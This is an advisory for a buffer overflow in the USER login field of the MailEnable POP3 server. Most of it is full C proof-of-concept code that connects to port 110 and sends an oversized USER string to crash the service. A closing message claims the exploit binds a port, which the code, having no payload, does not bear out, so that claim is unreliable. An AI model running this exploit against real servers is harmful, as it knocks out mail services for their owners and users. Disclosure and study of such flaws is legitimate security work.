source: http://www.securityfocus.com/bid/6197/info

A buffer overflow vulnerability has been reported for MailEnable's POP3 server. The vulnerability is due to insufficent bounds checking of the USER login field.

An attacker can exploit this vulnerability by connecting to a vulnerable MailEnable server and sending an overly long string as the value for the USER login prompt. This will trigger the buffer overflow condition. 

/*
*
* Written by redsand
* <redsand@redsand.net>
* Vuln. date found: November 18. 2002
* Vulnerable: Windows 9x/NT/XP MailEnable POP Server Version 1.02
*
* Usage: ./mailenable-dos.1.3 <host> [port] [port] is optional. default is in the #define (port 110)
* Need to Enable [offset] in final release.
*
* Proof of Concept code (PoC)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 110

char string[2010];
char death[2500];
char top[5], end[50];
char tag[] = "::redsand.net::";

int main(int argc, char *argv[]) {

  int sockfd, port, i;
  char buf[2500];
  struct hostent *ha;
  struct sockaddr_in sa;
  if (argc < 2 ) {
printf("MailEnable POP Server Version 1.02 DoS\n:: redsand <at> redsand.net\r\nUsage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
if (argv[2]) {
port = atoi(argv[2]);
} else { port = PORT; }
for( i = 0; i <2009; i++) {
string[i] = 'A';
}

strcpy(top,"USER ");
strcpy(end,tag);
strcpy(death,top);
strcat(death,string);
strcat(death,end);

  if (!(ha = gethostbyname (argv[1])))
    perror ("gethostbyname");

  bzero (&sa, sizeof (sa));
  bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
  sa.sin_family = ha->h_addrtype;
  sa.sin_port = htons (port);

  if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
    perror ("socket");
    exit (1);
  }
 printf("MailEnable :: redsand <at> redsand.net\r\n+ connecting...\n");
  if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    perror ("connect");
    exit (1);
  }
  printf("+ connected\n+ sending request to pop3 server\n");
  send(sockfd, death, sizeof(death), 0);
  // read(sockfd, buf, 2050, 0);
    close(sockfd);
  printf("+ finished\n");
  printf("\r\rIf exploit worked, then it should bind port on 3879\n");
}

/* redsand.net */
